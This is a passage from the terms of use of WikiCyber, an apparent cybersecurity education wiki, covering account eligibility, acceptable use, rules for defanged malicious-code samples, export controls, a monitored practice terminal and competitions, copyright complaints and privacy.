&#039;&#039;&#039;3.8 Contributing on behalf of an organization.&#039;&#039;&#039; If an Author contributes to the Site in the course of employment or on behalf of a school, team, company, or other entity (an &amp;quot;&#039;&#039;&#039;Organization&#039;&#039;&#039;&amp;quot;), the Author represents that the Author is authorized to accept these Terms and to license the Contribution under the License on the Organization&#039;s behalf, and that the Organization agrees to be bound by these Terms. In that case, &amp;quot;you&amp;quot; refers to both the Author and the Organization, and the Organization is responsible to the Operator for any breach of these Terms by the Author in connection with that Contribution. An Author who is not so authorized must not submit the Contribution.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.9 Minimum age.&#039;&#039;&#039;&lt;br /&gt;
:(a) &#039;&#039;&#039;Use of the Site.&#039;&#039;&#039; You must be at least 13 years old to access or use the Site. If you are under 13, you must not use the Site, and you must not create an account, submit any Contribution, or provide any personal information to the Operator. The Site is not directed to children under 13, and the Operator does not knowingly collect personal information from children under 13.&lt;br /&gt;
:(b) &#039;&#039;&#039;Author accounts.&#039;&#039;&#039; You must be at least 18 years old (or the age of majority in your jurisdiction, if higher) to hold an Author account, except that a person who is at least 13 but has not reached that required age may hold an Author account only if the Operator has received, directly from the person&#039;s parent or legal guardian and before the account is issued, written consent to the account and to these Terms, in a form the Operator accepts, together with enough information for the Operator to verify that the consent is genuine. The Operator may refuse to issue an account to any minor, and a vetting history or an invitation does not oblige the Operator to do so. The parent or legal guardian must separately accept these Terms in their own capacity and agree to supervise the minor&#039;s use; neither consent nor these Terms waives rights that a minor or guardian cannot lawfully waive. The parent or legal guardian may withdraw consent at any time by written notice to the Operator, upon which the Operator will deactivate the account.&lt;br /&gt;
:(c) &#039;&#039;&#039;Representation and enforcement.&#039;&#039;&#039; By accessing the Site or accepting an account, you represent that you meet the requirements of this Section 3.9. An Author must tell the Operator promptly if they are not, or cease to be, eligible. If the Operator learns that a person under 13 has used the Site or provided personal information, or that an account was issued in breach of this Section, the Operator may immediately deactivate the account and will take reasonable steps to delete the personal information it holds about that person, subject to any legal obligation to retain it. The Operator will handle published material and associated personal information consistently with applicable child-privacy and deletion requirements; the License is not a basis for refusing a legally required removal.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3.10 Inactive accounts.&#039;&#039;&#039;&lt;br /&gt;
:(a) &#039;&#039;&#039;Inactivity.&#039;&#039;&#039; An Author account is &amp;quot;inactive&amp;quot; if, for a continuous period of twelve (12) months, the account has neither been used to log in to the Site nor been used to make an edit or other contribution, as shown by the Operator&#039;s records.&lt;br /&gt;
:(b) &#039;&#039;&#039;Deactivation.&#039;&#039;&#039; The Operator may deactivate an inactive account at any time. Before doing so, the Operator will make a reasonable effort to send a notice to the email address associated with the account, at least thirty (30) days in advance, but the Operator is not required to do so if the account has no working email address, and a failure of delivery does not prevent deactivation. Deactivation removes the Author&#039;s ability to log in and may include removing the Author&#039;s permissions, any reviewer or other role, and any open assignments.&lt;br /&gt;
:(c) &#039;&#039;&#039;Deletion of personal data.&#039;&#039;&#039; After deactivation, the Operator may delete the email address and other non-public personal information associated with the account. Because of the License, the public edit history, and the need to attribute Authors, the Author&#039;s username, and Contributions that were already published, may remain on the Site, and the Operator may rename the account to a neutral name or remove the Contributions in its discretion.&lt;br /&gt;
:(d) &#039;&#039;&#039;Reactivation.&#039;&#039;&#039; A former Author whose account was deactivated under this Section may ask the Operator to reactivate it. The Operator is not obliged to do so, and may require the Author to be re-vetted and to satisfy Sections 3.7, 3.9, and 6.5 again before granting the request.&lt;br /&gt;
:(e) &#039;&#039;&#039;Security.&#039;&#039;&#039; The Operator may also deactivate, suspend, or limit any account at any time where it reasonably suspects that the account is compromised or at risk of misuse, in accordance with Section 7.&lt;br /&gt;
&lt;br /&gt;
== 4. Educational Use Only; No Professional Advice ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1 Educational purpose.&#039;&#039;&#039; &#039;&#039;&#039;WikiCyber is not a source of expert help.&#039;&#039;&#039; The Site is a reference work, similar in style to an encyclopedia, intended solely for general educational purposes. Nothing on the Site constitutes professional, legal, security-consulting, or other individualized advice, and no attorney-client, consultant-client, or other professional relationship is created by your use of the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2 No assurance of accuracy.&#039;&#039;&#039; Cybersecurity guidance is dependent on context, and the techniques described on the Site may alter, disable, or damage systems and data. Content may be incomplete, out of date, or incorrect. Before applying any Content, you should practice in an isolated laboratory or virtual machine, maintain backups, and verify the information against authoritative sources.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.3 Assumption of risk and responsibility.&#039;&#039;&#039; You use the Site and the Content &#039;&#039;&#039;entirely at your own risk&#039;&#039;&#039;. You are solely responsible for (a) obtaining all authorizations necessary before testing, configuring, or otherwise acting upon any system, network, or data, and (b) ensuring that your use of the Content complies with all applicable laws, regulations, and agreements.&lt;br /&gt;
&lt;br /&gt;
== 5. No Affiliation; Third-Party Marks ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5.1 Wikipedia and the Wikimedia Foundation.&#039;&#039;&#039; WikiCyber is &#039;&#039;&#039;not affiliated with, endorsed by, sponsored by, or representative of Wikipedia or the Wikimedia Foundation&#039;&#039;&#039;, and does not claim otherwise. The Site runs on MediaWiki, free and open-source software that is used by many unrelated organizations, and the use of that software implies no affiliation of any kind.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5.2 Other organizations.&#039;&#039;&#039; WikiCyber is not affiliated with, endorsed by, or sponsored by CyberPatriot, the Air &amp;amp; Space Forces Association, Cisco Systems, Microsoft Corporation, or any other organization, product, service, or competition that may be mentioned on the Site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5.3 Third-party marks.&#039;&#039;&#039; All third-party names, trademarks, and logos are the property of their respective owners and are used for identification and educational reference only.&lt;br /&gt;
&lt;br /&gt;
== 6. Acceptable Use ==&lt;br /&gt;
&lt;br /&gt;
The following rules govern use of the service and submission of material. They do not add conditions to the License or prohibit lawful criticism, consumer reviews, reports to regulators, or other legally protected activity. Cybersecurity knowledge may be used either to defend systems or to attack them. You are fully responsible for your own conduct on and in connection with the Site. You may use the Site only for lawful and ethical purposes, in compliance with all applicable laws and regulations, with this Section 6, and with any editorial policies, help pages, or reasonable instructions the Operator publishes on the Site from time to time. If you use any third-party service in connection with the Site, you must also comply with that service&#039;s terms.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prohibited uses of the Site and its Content.&#039;&#039;&#039; You shall not use the Site, or any information obtained from it, to:&lt;br /&gt;
:(a) access, probe, attack, disrupt, or damage any computer system, network, account, or data &#039;&#039;&#039;without the explicit permission of its owner&#039;&#039;&#039;;&lt;br /&gt;
:(b) commit, or assist any person in committing, any crime or other unlawful act, including fraud, identity theft, stalking, unauthorized surveillance, or theft of data;&lt;br /&gt;
:(c) create, host, or distribute malware or other harmful code for malicious use, or post, embed, upload, host, or link to any Malicious Code (as defined in Section 6.4) in any form other than an Educational Sample that complies with Section 6.4.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prohibited conduct on the Site.&#039;&#039;&#039; You shall not:&lt;br /&gt;
:(d) attack, overload, abusively scrape, or attempt to circumvent the security or access controls of the Site;&lt;br /&gt;
:(e) post the private information, credentials, or confidential material of any other person without that person&#039;s consent;&lt;br /&gt;
:(f) post Content that infringes any person&#039;s intellectual property rights, or that is harassing, threatening, intimidating, stalking, obscene, hateful, deceptive, or spam;&lt;br /&gt;
:(g) impersonate any person or misrepresent your qualifications or affiliation;&lt;br /&gt;
:(h) post answers, keys, or non-public materials from an ongoing competition where the rules of that competition prohibit sharing them;&lt;br /&gt;
:(i) discriminate against, or harass, any person on the basis of race, color, national origin, religion, sex, gender identity, sexual orientation, disability, medical condition, marital status, age, or any other characteristic protected by applicable law;&lt;br /&gt;
:(j) use or attempt to use another person&#039;s account, or allow another person to use yours;&lt;br /&gt;
:(k) interfere with, disrupt, damage, disable, or overburden the Site or its servers or networks, or impair any other person&#039;s use of the Site, including by abusing the review, request, or notification features;&lt;br /&gt;
:(l) access or attempt to access any page, feature, account, or data that you are not authorized to access (including another Author&#039;s private sandbox pages), or tamper with, probe, or bypass any security measure, permission, or protection of the Site;&lt;br /&gt;
:(m) use robots, crawlers, scrapers, or other automated means to access the Site except in a way that respects the Site&#039;s robots.txt file and any published rate limits or API guidelines, it being understood that nothing in this paragraph restricts your rights in the Content under the License;&lt;br /&gt;
:(n) post Content that you know to be false or misleading, that contains viruses, corrupted data, or other harmful, disruptive, or destructive files or code (other than Educational Samples that comply with Section 6.4), or that contains political campaigning, advertising, or solicitation; or&lt;br /&gt;
:(o) engage in, encourage, or promote any activity that violates these Terms or the rights of the Operator or any third party.&lt;br /&gt;
&lt;br /&gt;
=== 6.1 No Promotional Links ===&lt;br /&gt;
&#039;&#039;&#039;6.1.1&#039;&#039;&#039; &#039;&#039;&#039;Promotional links are prohibited&#039;&#039;&#039; on articles, drafts, and all other pages of the Site, except as provided in Section 6.1.2. A &amp;quot;promotional link&amp;quot; includes any link to your own or any other person&#039;s website, blog, video channel, store, newsletter, or social media profile; any donation, sponsorship, or &amp;quot;buy me a coffee&amp;quot; page; and any affiliate, referral, or advertising link.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.1.2&#039;&#039;&#039; Promotional links are permitted &#039;&#039;&#039;only on an Author&#039;s own user profile page&#039;&#039;&#039; (the page titled &amp;quot;User:&amp;quot; followed by the Author&#039;s username). Promotional links are &#039;&#039;&#039;not&#039;&#039;&#039; permitted on articles, on drafts or sandbox pages submitted for review, on talk pages, or on any other page. An Author must remove all promotional links from a draft before submitting it for review.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.1.3&#039;&#039;&#039; A link that serves as a genuine source for a statement of fact, cited in accordance with the Site&#039;s sourcing policy (for example, a link to official documentation), is not a promotional link. However, the Operator&#039;s reviewers may remove any link whose primary purpose is promotional, and the Operator may remove promotional links and content at any time without notice. Repeated violations of this Section 6.1 may result in the loss of Author access under Section 7.&lt;br /&gt;
&lt;br /&gt;
=== 6.2 Reasonable File Sizes ===&lt;br /&gt;
Whenever the Site permits the upload or embedding of images or other files, an Author must keep each file reasonably sized for its purpose. For example, an image that shows only a small diagram or arrow must not be uploaded as a multi-megapixel or 4K image. An Author must resize, crop, or compress files before uploading them, and must not upload files that are larger than needed to serve their educational purpose. The Operator may set maximum file sizes and dimensions, and may resize, replace, or remove any file that is unreasonably large, without notice.&lt;br /&gt;
&lt;br /&gt;
=== 6.3 Responsible Disclosure ===&lt;br /&gt;
If you discover a security vulnerability affecting the Site, you are requested to report it promptly to the contact address in Section 13 and not to exploit it, disclose it publicly before the Operator has had a reasonable opportunity to remediate it, or access data that is not your own.&lt;br /&gt;
&lt;br /&gt;
=== 6.4 Malicious Code and Educational Samples ===&lt;br /&gt;
&#039;&#039;&#039;6.4.1 Rule and definition.&#039;&#039;&#039; &amp;quot;&#039;&#039;&#039;Malicious Code&#039;&#039;&#039;&amp;quot; means any software, script, macro, document, shellcode, payload, or other code that is designed or configured for malicious damage, disruption, or unauthorized access to a computer system, network, account, or data, including malware, ransomware, spyware, malicious backdoors, worms, credential stealers, and working exploit payloads. Ordinary administrative commands and defensive tools are not Malicious Code solely because they could be misused. The public-posting restrictions do not prohibit tools expressly supplied or authorized for an isolated Terminal Service exercise within its stated scope; they do not authorize publishing or exporting those tools. You may not post, embed, upload, host, or link to Malicious Code on the Site, except as an Educational Sample that complies with every requirement of this Section 6.4. Section 6(c) and this Section 6.4 are to be read together: nothing in this Section 6.4 permits any use that Section 6 otherwise prohibits.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.4.2 Educational Sample.&#039;&#039;&#039; An &amp;quot;&#039;&#039;&#039;Educational Sample&#039;&#039;&#039;&amp;quot; is an excerpt or illustration of Malicious Code that satisfies all of the following:&lt;br /&gt;
:(a) it is included solely to explain how an attack works or to help readers detect, analyze, mitigate, or defend against it;&lt;br /&gt;
:(b) it is clearly labeled, immediately above the sample, with a visible notice stating that it is a defanged educational sample;&lt;br /&gt;
:(c) it is Defanged as required by Section 6.4.3;&lt;br /&gt;
:(d) it is no longer than is reasonably necessary for its educational purpose, and is accompanied by explanatory text, including how the technique can be detected or prevented; and&lt;br /&gt;
:(e) it does not exploit a vulnerability for which no vendor fix, patch, or mitigation has been publicly released.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.4.3 Defanged.&#039;&#039;&#039; Code is &amp;quot;&#039;&#039;&#039;Defanged&#039;&#039;&#039;&amp;quot; only if all of the following are true:&lt;br /&gt;
:(a) it appears solely as human-readable text inline in the page (for example, in a code block), and not as a file, archive, attachment, download, or embedded object;&lt;br /&gt;
:(b) it is not compiled, packed, obfuscated, or encoded (for example, as an executable, library, installer, script bundle, or an encoded blob such as Base64 or hexadecimal data), and it does not contain raw shellcode or any other byte sequence that would run, or decode into something that would run, if copied;&lt;br /&gt;
:(c) it is incomplete in a way that prevents it from working as written against a real system, because it omits at least one element essential to its operation (such as a functional payload, a final stage, a working key, or target-specific values), and no reader can make it function without writing that element themselves; and&lt;br /&gt;
:(d) every network address, hostname, URL, credential, and other target or infrastructure value in it is an inert placeholder, such as the loopback address 127.0.0.1 (or ::1), an address in the documentation ranges 192.0.2.0/24, 198.51.100.0/24, or 203.0.113.0/24 (or 2001:db8::/32), a reserved name such as example.com, example.net, or example.org, or a name ending in .test, .example, or .invalid, and none identifies a real person, organization, system, or account.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.4.4 No hosting or linking.&#039;&#039;&#039; Public wiki pages and public downloads must not host executable, compiled, or otherwise runnable Malicious Code, and you may not upload or attempt to upload any such file. You may not post a link to any page, repository, or file from which live malware or a working exploit can be downloaded. Links to published analysis, advisories, and documentation (for example, a vendor advisory or a CVE record) that do not themselves distribute working Malicious Code are permitted. An indicator of compromise taken from real malware (for example, an address or domain) may be shown only in defanged notation (for example, &amp;quot;hxxp&amp;quot; for &amp;quot;http&amp;quot; and &amp;quot;[.]&amp;quot; for &amp;quot;.&amp;quot;) and with a cited source.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.4.5 Review, removal, and responsibility.&#039;&#039;&#039; The Operator and its reviewers determine in their sole discretion whether Content is an Educational Sample, and may reject, redact, or remove any Content that does not clearly meet this Section 6.4, without notice. Labeling Content as an educational sample does not make it one. You must not complete, restore, recompile, decode, or otherwise re-weaponize any Educational Sample, and you may run or test such material only on systems that you own or are expressly authorized in writing to test, in accordance with Section 6(a). Compliance with this Section 6.4 is a minimum requirement and does not make any use lawful. You remain solely responsible for your own conduct.&lt;br /&gt;
&lt;br /&gt;
=== 6.5 Export Controls and Sanctions ===&lt;br /&gt;
&#039;&#039;&#039;6.5.1 Compliance with export laws.&#039;&#039;&#039; The Site and its Content include technical information about computer security, cryptography, and attack and defense techniques that may be subject to United States export control and sanctions laws, including the Export Administration Regulations (15 C.F.R. Parts 730–774) and the economic sanctions regulations administered by the U.S. Department of the Treasury&#039;s Office of Foreign Assets Control (together, &amp;quot;&#039;&#039;&#039;Export Laws&#039;&#039;&#039;&amp;quot;). You may not access, use, download, or export, re-export, or transfer the Site or any Content in violation of Export Laws or any other applicable export, import, or sanctions law. You are solely responsible for determining whether your own access to, use of, or transfer of Content is lawful where you are located and under the laws that apply to you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.5.2 Restricted transactions.&#039;&#039;&#039; You must not use an account, receive a service, or submit or transfer material where that particular transaction is prohibited by applicable Export Laws, including applicable sanctions, restricted-party rules, and ownership rules. Restrictions depend on the person, destination, material, and transaction; an exemption, exception, or license may apply. A country&#039;s appearance in a sanctions program, or a person&#039;s appearance on a restricted-party list, does not by itself mean every transaction is prohibited. The Operator may request information reasonably needed to assess eligibility and may withhold a restricted service pending verification. You must not misrepresent your identity or location to evade a restriction.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.5.3 Authors and technical contributions.&#039;&#039;&#039; An account or Contribution must not be provided or accepted when doing so is prohibited under Section 6.5.2. The Operator retains responsibility for its own compliance obligations; a user representation does not replace them. The Operator may decline, suspend, or revoke any account, and may remove any Contribution, where the Operator believes, in its sole discretion, that holding the account or accepting the Contribution would or might violate Export Laws. An Author must not use a proxy, VPN, third-party account, or any other means to conceal their location or identity in order to circumvent this Section 6.5.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.5.4 No representation of exportability.&#039;&#039;&#039; The Operator makes no representation that the Content is appropriate or available for use or export in any location, and does not provide an export classification for any Content. The Operator may restrict or block access to the Site, or to any part of it, from any location as it considers necessary to comply with law, without notice or liability.&lt;br /&gt;
&lt;br /&gt;
=== 6.6 Terminal Service and Competitions ===&lt;br /&gt;
&#039;&#039;&#039;6.6.1 Optional; may be limited.&#039;&#039;&#039; The Terminal Service is optional, is offered only to the accounts and groups the Operator chooses, and may be limited, queued, rescheduled, paused, or withdrawn at any time. Practice sessions are limited in number, length, and resources; a Competition may be limited to a booked time slot, a fixed number of attempts, and a fixed length of play. Access depends on a confirmed email address and on your acceptance of the version of these Terms that is shown to you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.2 Monitored, temporary environment.&#039;&#039;&#039; Your virtual machine is provided only for the assigned exercise. Session access can end, and working data can be lost, without warning; no backup, recovery, or continued access is promised. Ending a session does not necessarily erase its disk, logs, evidence, or backups immediately. Collection and retention are described in Sections 10.6 and 10.7. Do not enter real passwords, secrets, personal or financial information, or third-party account credentials. Use only the exercise credentials supplied for the exercise. Before starting, you must receive notice of and affirmatively agree to the disclosed console recording and environment inspection. Decline the Terminal Service if you do not agree. This agreement does not authorize monitoring beyond what applicable law permits.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.3 Permitted use.&#039;&#039;&#039; You may use the Terminal Service only to carry out the exercise presented to you, against the systems the exercise provides. In addition to Section 6, you may not: (a) attempt to attack, scan, probe, or gain access to the host machine, the hypervisor, the network, other participants&#039; environments, the Operator&#039;s other systems, or any third-party system, or attempt to escape or weaken the isolation of your environment; (b) use the environment for cryptocurrency mining, for relaying or generating traffic, for sending spam, for hosting services, or for any other purpose unrelated to the exercise; (c) attempt to exhaust or evade the limits on time, resources, attempts, or traffic, including by opening several sessions, using several accounts, or sharing an account; (d) interfere with the recording, scoring, or review of an attempt; or (e) use any network access that a practice session may provide for anything except the purpose the Operator has stated for it. Competitions never have outside network access. The Operator may end any session at any time, and may do so without warning if it believes this Section has been breached or the host is at risk.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.4 Competition integrity.&#039;&#039;&#039; In a Competition you must work alone and without help unless the rules of that Competition expressly allow otherwise. You may not receive, give, buy, sell, or publish answers, flags, solutions, hints, or the contents of an environment, before, during, or after a Competition, other than as the rules permit; you may not use another person&#039;s account or let another person use yours; and you may not use automated tools, scripts, or artificial-intelligence assistance beyond what the rules allow. The Operator may disqualify an attempt, remove a score, or exclude a person from Competitions where it reasonably determines that a rule was breached. A participant may request review under Section 7.6. These rules do not restrict lawful reports of misconduct, protected disclosures, or rights independently granted by an applicable open license.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.5 Booking, attempts, and results.&#039;&#039;&#039; Booking a Competition slot does not guarantee that the Competition will take place; the Operator may cancel or reschedule a slot or a Competition. A booked slot that is not used within the time allowed is forfeited. An attempt starts when the environment starts and its clock keeps running if you disconnect or your connection fails. An attempt that fails to start because of a fault on the Operator&#039;s side may be refunded as an attempt at the Operator&#039;s discretion, and an attempt that fails for any other reason counts. Scores are set automatically by the Operator&#039;s scoring system and are provisional. Results are normally hidden from participants until the Operator has reviewed them and published them, and the Operator may correct errors, invalidate compromised attempts, and revise rankings. Administrative decisions are subject to Section 7.6 and do not remove legal remedies. Where results are published, a leaderboard may show your Site username and score, as described in Section 10.7.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.6 Competition Accounts.&#039;&#039;&#039; A Competition Account may be used only to take part in Competitions, does not carry any right to edit the Site, and may be deactivated after the Competition for which it was issued ends, unless the holder has meanwhile become an Author. The rules in Sections 3.3, 3.6, 3.7, 3.9, 3.10, and 13.4 and Section 6.5 apply to Competition Accounts as they apply to Author accounts, and you may hold only one account.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.7 Exercises are for education only.&#039;&#039;&#039; The exercises and the techniques shown in them are for learning in the environment provided. Sections 4 and 6(a) apply: you must not apply them to a system that you do not own or are not authorized in writing to test.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6.6.8 Event rules.&#039;&#039;&#039; Before booking or entry, the Operator will make available the applicable eligibility, dates and time zone, permitted assistance and tools, attempt and time limits, start and missed-slot rules, scoring and tie-breaking method, any overtime penalties, publication arrangements, and review procedure. Hidden scoring details and answers need not be disclosed. There is no entry fee or prize unless separately announced in rules accepted before entry; any such event requires separate applicable terms. Material changes after entry will be communicated to affected participants, with an opportunity to withdraw; the Operator may make necessary security or integrity changes and explain their effect on attempts and results. No Competition represents an accredited examination or professional certification.&lt;br /&gt;
&lt;br /&gt;
== 7. Enforcement and Termination ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.1 Remedies.&#039;&#039;&#039; If the Operator reasonably believes you have violated these Terms or that action is necessary to protect the service or others, the Operator may, at any time and without prior notice: (a) remove, edit, or restrict access to any Content; (b) suspend (temporarily or indefinitely) or permanently revoke your account or your access to the Site; (c) cooperate with law enforcement and other governmental authorities; and (d) take any other action permitted by law or in equity.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.2 Unlawful use.&#039;&#039;&#039; &#039;&#039;&#039;Use of the Site to gain unauthorized access to any system, to commit any crime, or for any other unlawful purpose is prohibited and may result in legal action.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.3 Legal process.&#039;&#039;&#039; The Operator may disclose information about you or your use of the Site where it believes in good faith that disclosure is required by law, legal process, or governmental request, or is necessary to protect the rights, property, or safety of the Operator, the Site, or others.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.4 Termination by you; effect of termination.&#039;&#039;&#039; You may stop using the Site at any time. Upon suspension or termination of your access for any reason, your right to use the Site ceases immediately. Termination does not revoke, and does not entitle you to the removal of, any license granted or Contribution made under Section 2.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.5 No liability.&#039;&#039;&#039; Any limitation of liability for enforcement action is subject to Section 11, including its exceptions. This Section does not excuse unlawful action.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7.6 Review requests.&#039;&#039;&#039; You may request review of an account restriction, disqualification, or scoring decision by emailing Section 13.1 with your username, the affected decision or attempt, and the reasons for your request, ordinarily within 30 days after notice. The Operator will consider timely requests in good faith and communicate the outcome, using a reviewer not involved in the original decision where practicable. Security-sensitive evidence, personal information about others, and hidden scoring details need not be disclosed. Restrictions may remain during review. This process does not shorten a legal limitation period or prevent you from exercising legal rights.&lt;br /&gt;
&lt;br /&gt;
== 8. Copyright Complaints ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.1 Notice of claimed infringement.&#039;&#039;&#039; The Operator respects intellectual property rights and responds to notices of alleged copyright infringement in accordance with applicable law, including Title 17, United States Code, Section 512. If you believe that Content on the Site infringes a copyright that you own or control, you may submit a written notice to the contact address in Section 13 that includes:&lt;br /&gt;
:(a) your physical or electronic signature, or that of a person authorized to act on behalf of the copyright owner;&lt;br /&gt;
:(b) identification of the copyrighted work claimed to have been infringed;&lt;br /&gt;
:(c) identification of the material claimed to be infringing, with the URL of the page on which it appears, in sufficient detail to permit the Operator to locate it;&lt;br /&gt;
:(d) your name, mailing address, telephone number, and email address;&lt;br /&gt;
:(e) a statement that you have a good-faith belief that the use of the material in the manner complained of is not authorized by the copyright owner, its agent, or the law; and&lt;br /&gt;
:(f) a statement that the information in the notice is accurate and, &#039;&#039;&#039;under penalty of perjury&#039;&#039;&#039;, that you are authorized to act on behalf of the owner of the exclusive right allegedly infringed.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.2 Action upon notice.&#039;&#039;&#039; Upon receipt of a notice that substantially complies with Section 8.1, the Operator will act expeditiously to remove or disable access to the identified material as required by applicable law and will take reasonable steps promptly to notify the affected Author. Notices and counter-notices, including contact details, may be shared with the other party as necessary to administer this process.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.3 Counter-notification.&#039;&#039;&#039; An Author whose Content has been removed pursuant to Section 8.2 may submit a written counter-notice to the contact address in Section 13 that includes: (a) the Author&#039;s physical or electronic signature; (b) identification of the material removed and the location at which it appeared before removal; (c) a statement, &#039;&#039;&#039;under penalty of perjury&#039;&#039;&#039;, that the Author has a good-faith belief that the material was removed as a result of mistake or misidentification; and (d) the Author&#039;s name, address, and telephone number, and a statement that the Author consents to the jurisdiction of the federal district court for the judicial district in which the Author&#039;s address is located (or, if the address is outside the United States, any judicial district in which the Operator may be found) and will accept service of process from the person who submitted the original notice or their agent. For the statutory counter-notice process, the Operator will promptly forward a compliant counter-notice to the complaining party and inform that party that the material will be restored in 10 business days. The Operator will restore access no earlier than 10 and no later than 14 business days after receipt unless its designated agent first receives notice that the complaining party has filed an action seeking a court order restraining the allegedly infringing activity. Material may remain unavailable for an independent, lawful reason under these Terms, which will be communicated to the Author.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.4 Repeat infringers.&#039;&#039;&#039; In appropriate circumstances, the Operator will suspend or terminate the accounts of Authors who are repeat infringers of copyright.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8.5 Misrepresentation.&#039;&#039;&#039; You may be held liable for damages, including costs and attorneys&#039; fees, if you knowingly and materially misrepresent that material is infringing or was removed by mistake or misidentification.&lt;br /&gt;
&lt;br /&gt;
== 9. Links and Third-Party Content ==&lt;br /&gt;
&lt;br /&gt;
The Site may contain links to, or reproduce content from, websites, services, and materials that are owned or operated by third parties. Such materials include links to external web pages, tools, repositories, videos, downloads (including practice images and files), and any other service mentioned on the Site (collectively, &amp;quot;&#039;&#039;&#039;Third-Party Materials&#039;&#039;&#039;&amp;quot;). Third parties are responsible for their own materials and services. Except for materials the Operator itself creates or expressly adopts, the Operator does not control, update, or endorse Third-Party Materials, makes no guarantee that they are accurate, complete, current, safe, or lawful, and assumes no responsibility for their content, availability, security, or privacy practices. Downloaded files in particular may contain malware or be unsuitable for your systems; you should open them only in an isolated environment. Your correspondence or dealings with, or participation in promotions of, any third party found on or through the Site are solely between you and that third party. You decide whether to access or use Third-Party Materials, you do so at your own risk, and your use is governed by the terms and policies of that third party.&lt;br /&gt;
&lt;br /&gt;
== 10. Privacy ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.1 Information collected.&#039;&#039;&#039; The Operator collects and uses limited information, such as usernames, email addresses associated with accounts, and server logs, for the purposes of operating, maintaining, and securing the Site. If you use the Terminal Service, the Operator also collects and uses the additional information described in Sections 10.6 and 10.7.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.2 Public nature of Contributions.&#039;&#039;&#039; All Contributions that are published on the Site, including the Author&#039;s username and edit history, are public and are not confidential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.3 Service providers.&#039;&#039;&#039; Some of the services that operate the Site, including hosting infrastructure, are provided by Akamai Technologies, Inc. (Linode). Server logs and other data described in Section 10.1 may be stored and processed on that provider&#039;s infrastructure. The Terminal Service runs on a separate server hosted by DigitalOcean, LLC, and the data described in Section 10.6 is stored and processed there. The Operator also keeps encrypted backups of that server&#039;s state in a private code repository that it operates itself, and a second, off-site copy of its security audit records on the Linode server. Email delivery also involves the Operator&#039;s email service provider, currently Google Workspace. The Operator does not sell personal information. The Privacy policy must identify applicable processing purposes, service-provider categories, and retention practices; naming providers here does not limit legally required disclosures.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.4 Children.&#039;&#039;&#039; The Site is not intended for, and the Operator does not knowingly collect personal information from, children under 13 (see Section 3.9). A parent or legal guardian who believes that a child under 13 has provided personal information to the Operator may contact the Operator at the address in Section 13.1, and the Operator will promptly investigate and delete information as required by applicable law, retaining it only where legally permitted and necessary.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.5 Privacy policy and private material.&#039;&#039;&#039; The Privacy policy describes data practices and applicable privacy rights; it is not a blanket consent to all processing. Where separate consent is required, the Operator must obtain it. Private sandbox pages are access-restricted, but authorized administrators and reviewers may access them for operation, review, security, or legal compliance. Draft-namespace pages and public edit metadata are not private. Do not submit secrets. A privacy request is governed by applicable law, not solely by the Operator&#039;s discretion.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10.6 Terminal Service: what is collected.&#039;&#039;&#039; If you use the Terminal Service, the following is recorded and should be treated as visible to the Operator:&lt;br /&gt;
:(a) &#039;&#039;&#039;Account and eligibility.&#039;&#039;&#039; Your wiki account identifier and username, whether your email address is confirmed, whether you have accepted the applicable version of these Terms, and your eligibility to use the Terminal Service or a Competition. The Site sends these to the Terminal Service host in signed requests, together with the Internet address your request came from.&lt;br /&gt;
:(b) &#039;&#039;&#039;Session records.&#039;&#039;&#039; When each session or attempt is requested, queued, started, and ended; how it ended; its length; the environment and Competition it belonged to; limits you reached; and refused or invalid requests. The Operator keeps these in tamper-evident audit logs, and a copy of those logs is sent to a second server to help preserve evidence of tampering. These safeguards do not guarantee that records cannot be altered or lost. These logs identify you by your account identifier and may include your Internet address.&lt;br /&gt;
